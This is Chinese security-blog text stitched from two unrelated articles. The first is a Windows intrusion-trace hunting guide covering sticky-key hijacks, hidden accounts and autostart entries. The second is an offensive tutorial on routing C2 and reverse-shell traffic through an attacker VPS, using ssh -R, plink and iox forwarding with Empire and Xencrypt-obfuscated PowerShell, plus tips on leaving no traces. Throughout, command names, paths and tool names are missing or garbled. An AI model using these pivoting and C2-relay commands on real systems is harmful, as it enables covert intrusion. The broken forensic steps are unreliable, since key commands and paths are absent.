一、排查思路在攻防演練保障期間,一線工程師在實(shí)施主機(jī)入侵痕跡排查服務(wù)時(shí)可能面臨時(shí)間緊、任務(wù)急、需要排查的主機(jī)數(shù)量眾多情況。為了確保實(shí)施人員在有限的時(shí)間范圍內(nèi),可以高效且保證質(zhì)量的前提下完成主機(jī)入侵痕跡排查工作,本人總結(jié)了自己的一些經(jīng)驗(yàn),下面的內(nèi)容特此分享主機(jī)入侵痕跡排查服務(wù)中重點(diǎn)、關(guān)鍵的排查項(xiàng),僅作為參考使用。1.1初步篩選排查資產(chǎn)一般情況下,客戶資產(chǎn)都比較多,想要對(duì)所有的資產(chǎn)主機(jī)進(jìn)行入侵痕跡排查基本不太現(xiàn)實(shí),等你全部都排查完了,攻擊者該做的事早就做完了,想要的目的也早就達(dá)到了。那么針對(duì)客戶資產(chǎn)量大的情況,我們應(yīng)該怎么處理?首先,在排查前,作為項(xiàng)目經(jīng)理,應(yīng)該與客戶溝通好,取得授權(quán),確認(rèn)排查范圍和排查方案和辦法,客戶若是沒有授意或者同意,那么下面的操作都是違規(guī)操作,甚至有的還違法。取得客戶同意后,我們?cè)購(gòu)馁Y產(chǎn)面臨的風(fēng)險(xiǎn)等級(jí)、資產(chǎn)的重要程度、攻擊者的攻擊思路、手法及目標(biāo)選擇傾向幾個(gè)方面去初步篩選出排查資產(chǎn)。這里建議從以下資產(chǎn)范圍選取:①曾失陷資產(chǎn):在以前的紅藍(lán)對(duì)抗、攻防演練、或者真實(shí)的黑客攻擊事件中被攻陷的主機(jī),曾失陷資產(chǎn)應(yīng)作為排查的重點(diǎn)對(duì)象。②互聯(lián)網(wǎng)暴露脆弱資產(chǎn):從互聯(lián)網(wǎng)暴露資產(chǎn)中篩選出使用了高危漏洞頻發(fā)的組件/應(yīng)用(組件如、JBoss、、Shiro、等)。
還有一個(gè)點(diǎn)需要注意,就是客戶是否具有有效的資產(chǎn)管理,是否能夠清晰明確識(shí)別出哪些資產(chǎn)用了什么組件,如果不能的話,只能通過之前的滲透測(cè)試結(jié)果來篩選出脆弱資產(chǎn)。③關(guān)鍵資產(chǎn):如域控等可以導(dǎo)致大量主機(jī)失陷的集權(quán)類資產(chǎn)。1.2確定排查資產(chǎn)主機(jī)入侵痕跡排查工作建議在一周內(nèi)對(duì)數(shù)量控制在20臺(tái)以內(nèi)的主機(jī)進(jìn)行排查。經(jīng)過初步篩選的資產(chǎn)數(shù)量如果遠(yuǎn)遠(yuǎn)大于20臺(tái)主機(jī),需要從資產(chǎn)里面進(jìn)行二次篩選,如果存在曾失陷資產(chǎn),排查主機(jī)范圍可以定為曾失陷資產(chǎn);如果不存在曾失陷資產(chǎn),排查主機(jī)范圍可以定為脆弱資產(chǎn),具體可以根據(jù)客戶自身實(shí)際情況調(diào)整。需要注意是主機(jī)id找不到,如果排查資產(chǎn)中包含曾失陷資產(chǎn)的話,需要向客戶索要?dú)v史攻防演練/應(yīng)急等報(bào)告,在排查時(shí)需結(jié)合歷史報(bào)告和指導(dǎo)手冊(cè)內(nèi)容一起進(jìn)行排查,需要特別留意歷史報(bào)告中攻擊者的入侵痕跡是否已經(jīng)完全清理。1.3入侵痕跡排查在實(shí)際情況下,攻擊者在進(jìn)行攻擊時(shí)使用的攻擊手法、攻擊思路、行為等各有差異,無論是考慮實(shí)現(xiàn)成本還是效率問題,都難以通過很精細(xì)很全面的排查項(xiàng)去實(shí)施主機(jī)入侵痕跡排查,但是我們可以從攻擊中可能會(huì)產(chǎn)生的一些比較共性的行為特征、關(guān)鍵的項(xiàng)進(jìn)行排查。對(duì)于主機(jī)的入侵痕跡排查,主要從網(wǎng)絡(luò)連接、進(jìn)程信息、后門賬號(hào)、計(jì)劃任務(wù)、登錄日志、自啟動(dòng)項(xiàng)、文件等方面進(jìn)行排查。
比如,如果存在存活后門,主機(jī)可能會(huì)向C2發(fā)起網(wǎng)絡(luò)連接,因此可以從網(wǎng)絡(luò)連接排查入手,如果存在異常的網(wǎng)絡(luò)連接,則必然說明存在惡意的進(jìn)程正在運(yùn)行,則可以通過網(wǎng)絡(luò)連接定位到對(duì)應(yīng)進(jìn)程,再根據(jù)進(jìn)程定位到惡意文件。如果攻擊者企圖維持主機(jī)控制權(quán)限的話,則可能會(huì)通過添加后門賬號(hào)、修改自啟動(dòng)項(xiàng),或者添加計(jì)劃任務(wù)等方式來維持權(quán)限,對(duì)應(yīng)的我們可以通過排查賬號(hào)、自啟動(dòng)項(xiàng)、計(jì)劃任務(wù)來發(fā)現(xiàn)相應(yīng)的入侵痕跡。二、排查內(nèi)容2.主機(jī)攻擊者一般使用 +s +h 命令隱藏惡意程序,故在排查痕跡前需打開“工具—文件夾選項(xiàng)—查看”。按照下圖中的設(shè)置,即可顯示所有文件。
2.1.1網(wǎng)絡(luò)連接排查步驟:在CMD中執(zhí)行 -ano 查看目前的網(wǎng)絡(luò)連接。
這種情況一般都比較正常,只有80和443端口,一般都是正常業(yè)務(wù)開放端口。分析方法:如果網(wǎng)絡(luò)連接出現(xiàn)以下情況,則當(dāng)前主機(jī)可能已經(jīng)失陷:1、主機(jī)存在對(duì)內(nèi)網(wǎng)網(wǎng)段大量主機(jī)的某些端口(常見如22,445,3389,6379等端口)或者全端口發(fā)起網(wǎng)絡(luò)連接嘗試,這種情況一般是當(dāng)前主機(jī)被攻擊者當(dāng)作跳板機(jī)對(duì)內(nèi)網(wǎng)實(shí)施端口掃描或者口令暴力破解等攻擊。
2、主機(jī)和外網(wǎng)IP已經(jīng)建立連接(狀態(tài))或者嘗試建立連接(狀態(tài)),可以先查詢IP所屬地,如果IP為國(guó)外IP或者歸屬各種云廠商,則需要重點(diǎn)關(guān)注。進(jìn)一步可以通過威脅情報(bào)(等)查詢IP是否已經(jīng)被標(biāo)注為惡意IP。
3、如果無法直接從網(wǎng)絡(luò)連接情況判斷是否為異常連接,可以根據(jù)網(wǎng)絡(luò)連接找到對(duì)應(yīng)的進(jìn)程ID主機(jī)id找不到,判斷進(jìn)程是否異常。如果不能從進(jìn)程判斷,可以進(jìn)一步找到進(jìn)程對(duì)應(yīng)文件,將對(duì)應(yīng)文件上傳至()進(jìn)行檢測(cè)。如上面截圖中對(duì)內(nèi)網(wǎng)掃描的進(jìn)程ID是2144,在任務(wù)管理器中發(fā)現(xiàn)對(duì)應(yīng)的文件是.exe。
上傳至檢測(cè)的結(jié)果為惡意文件。
若在排查網(wǎng)絡(luò)連接中,任務(wù)管理器只能看到有命令行工具(如、cmd)進(jìn)程與外聯(lián)IP建立會(huì)話,無法看到進(jìn)程對(duì)應(yīng)的運(yùn)行參數(shù)。此時(shí)可借助 進(jìn)一步觀察的運(yùn)行參數(shù)。如下在 中發(fā)現(xiàn)執(zhí)行了 腳本的痕跡。
2.1.2敏感目錄排查步驟:查看攻擊方常喜歡上傳的目錄是否有可疑文件。分析方法:1、各個(gè)盤符下的臨時(shí)目錄,如C:\TEMP、C:\\Temp等。
2、%%,在文件夾窗口地址欄輸入%%,回車即可打開當(dāng)前用戶的目錄。
如用戶對(duì)應(yīng)的%%目錄C:\Users\\\。可以按照修改日期排序篩選出比較臨近時(shí)間有變更的文件。
3、瀏覽器的下載目錄
4、用戶最近文件%%\,如對(duì)應(yīng)的目錄為C:\Users\\
5、回收站,如C盤下回收站C:$.Bin對(duì)于腳本文件可直接查看內(nèi)容判定是否為惡意,若是遇到exe可執(zhí)行文件,可將對(duì)應(yīng)文件上傳至()進(jìn)行檢測(cè)。
2.1.3后門文件排查步驟:查看粘滯鍵exe;查看注冊(cè)表中映像的鍵值。分析方法:1、查看粘滯鍵exe查看C:\\\下的sethc.exe文件的創(chuàng)建、修改時(shí)間是否正常,如下圖,一般情況下,系統(tǒng)文件的創(chuàng)建時(shí)間與修改時(shí)間應(yīng)相同,sethc的創(chuàng)建時(shí)間與修改時(shí)間不同,可確定sethc已被替換成后門文件。由于攻擊者可修改文件時(shí)間,上述簡(jiǎn)單粗暴的判斷方式可能不靠譜,可將sethc拷貝出來、上傳至VT檢測(cè)危害。
2、查看注冊(cè)表中映像的鍵值檢查注冊(cè)表“\\\ NT\\Image File ”下所有exe項(xiàng)中是否有鍵,若有鍵,將其鍵值對(duì)應(yīng)的程序上傳至VT檢測(cè)。如下圖,攻擊者利用該映像劫持的攻擊者方式,在sethc.exe項(xiàng)中新建鍵值指向.exe,攻擊效果為當(dāng)連續(xù)按5下shift鍵后,不會(huì)執(zhí)行sethc.exe,而是轉(zhuǎn)而執(zhí)行劫持后的.exe文件。于是在排查中發(fā)現(xiàn)有鍵值,均可認(rèn)為指定的文件為后門文件,待上傳VT后確認(rèn)其危害。
這里沒有鍵,下面的圖是有的:
2.1.4后門賬號(hào)排查步驟:打開查看注冊(cè)表中的賬號(hào);查看組中是否存在賦權(quán)異常的賬號(hào)。分析方法:查看注冊(cè)表中HKLM\SAM\SAM\\\Users\Names中是否有多余的賬號(hào)(可詢問客戶運(yùn)維人員以確定賬號(hào)存在的必要性)。正常情況下,上述路徑的SAM權(quán)限僅用戶可查看,需要給用戶授權(quán)才能打開完整路徑。對(duì)SAM右鍵、給用戶添加完全控制權(quán)限(下圖的權(quán)限操作方法適用于win7及以上操作系統(tǒng)):
、XP等低版本系統(tǒng)的操作方法請(qǐng)使用下圖的流程給組添加權(quán)限。
帶有$符號(hào)的賬號(hào)特指隱藏賬號(hào)(如aaaa$),正常業(yè)務(wù)中不需要?jiǎng)?chuàng)建隱藏賬號(hào),可判斷帶有$符號(hào)的均為后門賬號(hào)。然后在客戶運(yùn)維的協(xié)助下排查其他的異常賬號(hào)。如下圖中,除了aaaa$可直接判斷外,root賬號(hào)為高度關(guān)注對(duì)象。(注:aaaa$中的鍵值0x3ea表示該賬號(hào)與Users表中相應(yīng)數(shù)值的表相對(duì)應(yīng),在刪除賬號(hào)時(shí)需一起刪除)
注:異常賬號(hào)刪除后需要將之前授權(quán)的移除SAM權(quán)限。查看組中是否存在賦權(quán)異常的賬號(hào)。比如正常情況下guest用戶處于禁用狀態(tài)、普通應(yīng)用賬戶(、、mysql)不需要在組中。如下圖,執(zhí)行命令net user guest查看guest賬號(hào)的信息,如果guest賬號(hào)被啟用,且在管理員組成員中有g(shù)uest用戶,需要詢問客戶運(yùn)維人員該guest賬戶啟用的必要性以及加入管理組是否有必要,否則可認(rèn)為攻擊者將系統(tǒng)自帶用戶guest啟用并提權(quán)至管理員組后作為后門賬號(hào)使用。
執(zhí)行net 關(guān)注管理員組別是否存在異常賬號(hào):
2.1.5自啟動(dòng)項(xiàng)排查步驟:使用工具查看自啟動(dòng)項(xiàng)查看組策略中的腳本查看注冊(cè)表中的腳本、程序等查看各賬號(hào)自啟目錄下的腳本、程序等查看服務(wù)中的可執(zhí)行文件路徑分析方法:1、使用:使用工具能較全面地查看系統(tǒng)中的自啟動(dòng)項(xiàng)。在得到客戶授權(quán),能夠在可能失陷的主機(jī)上傳排查工具時(shí),可使用工具進(jìn)行詳細(xì)的自啟動(dòng)項(xiàng)排查。排查中主要關(guān)注粉色條目,建議與客戶運(yùn)維人員一同查看,以及時(shí)排除業(yè)務(wù)所需的正常自啟項(xiàng)。如下圖,在欄中,查看粉色的條目中發(fā)現(xiàn)常見的sethc被劫持為cmd, 鍵值(默認(rèn)為空)關(guān)聯(lián)到名為.exe(效果為啟動(dòng)cmd時(shí),被關(guān)聯(lián)的程序會(huì)靜默運(yùn)行)。sethc的劫持可確認(rèn)為入侵痕跡, 鍵值的關(guān)聯(lián)程序需要找客戶進(jìn)一步確認(rèn)是否業(yè)務(wù)所需,或?qū)?exe上傳VT檢測(cè)。
另外,這個(gè)工具很好用 ,特別小,可以直接上傳文件到VT進(jìn)行檢測(cè)。2、查看組策略:在無法使用工具、只能手工排查的情況下,可查看常見的自啟項(xiàng)是否有異常文件。打開.msc—計(jì)算機(jī)配置/用戶配置—設(shè)置—腳本,在此處可設(shè)置服務(wù)器啟動(dòng)/關(guān)機(jī)或者用戶登錄/注銷時(shí)執(zhí)行的腳本。下圖1、2兩處的腳本均需要查看是否添加有腳本。
我這里沒有腳本。2.1.6日志工程師基本都會(huì)看日志,日志也就那些內(nèi)容,比較簡(jiǎn)單,我就不細(xì)述,主要寫一下幾個(gè)比較重要的點(diǎn),基本上就可以排查出是否有異常登錄了。排查步驟:查看登錄日志中暴力破解痕跡;查看賬號(hào)管理日志中賬號(hào)的新增、修改痕跡;查看遠(yuǎn)程桌面登錄日志中的登錄痕跡。三、總結(jié)一下技能都是需要?jiǎng)邮值模缓笏悸沸枰逦僮饕?xì)致,跟客戶要保持溝通,切記不能悶著擅自操作!作者:白衣不再少年,文章來源:
0x00 前言
流量轉(zhuǎn)發(fā),可以說時(shí)內(nèi)網(wǎng)滲透的基礎(chǔ),網(wǎng)上的文章也挺多的,但是我最近看見別人的粗糙的方式,比如把CS直接傳到服務(wù)器上這樣的操作,我覺得是應(yīng)該總結(jié)一下各種流量轉(zhuǎn)發(fā)的場(chǎng)景了,方便滲透中使用。
0x01 本文用到的工具
- Empire https://github.com/EmpireProject/Empire (C2)
- Xencrypt.ps1 https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1 (powershell encrypt)
- IOX https://github.com/EddieIvan01/iox
- Neo-regeorg https://github.com/L-codes/Neo-reGeorg
- Plink C:Program Files (x86)GitExtensionsPuTTYplink.exe
0x02 復(fù)雜度0
1.例如反彈shell需要反彈到自己VPS上,那這里我們需要把CS或者等C2工具傳到VPS上嗎?
不需要,按照隱藏自己的原則,VPS上基本不能有滲透的任何文件,以免留下痕跡,命令其實(shí)也很簡(jiǎn)單,在win10以及l(fā)inux上都有ssh命令了,所以:
ssh -CNfT -R 4444:192.168.137.129:443 root@vpsip
注:vpsip 需要配置遠(yuǎn)程端口轉(zhuǎn)發(fā)支持,修改/ect/ssh/添加:
AllowAgentForwarding yes
AllowTcpForwarding yes
GatewayPorts yes
實(shí)際演示
被控端:192.168.137.164 (nat)
kali: 192.168.0.105 ()
這兩臺(tái)機(jī)器本身互不相同,但是都能出網(wǎng),所以使用VPS來中轉(zhuǎn)。
這里使用作為C2,使用https監(jiān)聽,這里的HOST要設(shè)置為VPSIP和端口
接著ssh端口轉(zhuǎn)發(fā):
生成一個(gè),這里生成的時(shí)候IP就是VPSIP,端口就是4444,這樣會(huì)直接將流量轉(zhuǎn)到虛擬機(jī)的的443端口來。生成 的,先解碼出來再用加密運(yùn)行。
- - xx.ps1 - .ps1 - 3
這樣只要受控端可以直接出網(wǎng)的情況的話,就可以這樣利用。而且vps到內(nèi)網(wǎng)機(jī)器的流量都是加密的。其實(shí)自帶一個(gè) ,把生成的文件傳到A VPS上面,再使用再生成來請(qǐng)求A VPS,流量就會(huì)被轉(zhuǎn)移到真實(shí)的B VPS上。具體可以參考:
0x03 復(fù)雜度1
其實(shí)為了自己更安全,C2最好放在自己虛擬機(jī)自定義的一個(gè)不能出網(wǎng)的網(wǎng)段,然后遠(yuǎn)程端口轉(zhuǎn)發(fā)到自己C2監(jiān)聽的端口。命令與其實(shí)上面一樣:plink -CNfT -R 4444:192.168.13.29:443 root@vpsip只不過要在的物理機(jī)上執(zhí)行,因?yàn)橹挥形锢頇C(jī)能夠出網(wǎng)而且又能訪問到特定網(wǎng)段。這里就不具體說明了,因?yàn)槲覀冎饕P(guān)注被控端能夠訪問到我們的VPS端口,所以自己要跳幾條VPS,系統(tǒng)環(huán)境等隨便怎么設(shè)置都可以。
場(chǎng)景:拿到,發(fā)現(xiàn)是內(nèi)網(wǎng)一臺(tái)不能出網(wǎng)。這就需要找到一臺(tái)能夠出網(wǎng)的了。
先使用進(jìn)行正向代理,尋找到出網(wǎng)機(jī)器。這里依然可以使用ssh遠(yuǎn)程轉(zhuǎn)發(fā),在跳板機(jī)上面執(zhí)行。但是我們這使用IOX來演示,適合自己VPS是或者突然忘了自己vps密碼的人:)
實(shí)際演示
測(cè)試環(huán)境:
:192.168.217.92/192.168.137.139 雙網(wǎng)卡
win10:192.168.217.128
vps:就用上面的4444端口
1.把iox linux 64bit傳到這個(gè)跳板機(jī)上執(zhí)行:
./iox fwd -l 4444 -r vpsip:4444
2.重新生成,上傳到win10上,因?yàn)閣in10只能訪問到192.168.217.139,所以配置host參數(shù)為:4444,這里我們?cè)?中已經(jīng)監(jiān)聽了4444端口流量并且轉(zhuǎn)發(fā)到了VPS上。
這里的必須配置為http,我自己測(cè)試發(fā)現(xiàn)https的上線不了,https直接網(wǎng)頁會(huì)報(bào)SSL錯(cuò),但是還是能夠訪問的,說明流量轉(zhuǎn)發(fā)正確。猜測(cè)可能是IOX轉(zhuǎn)發(fā)https流量不行。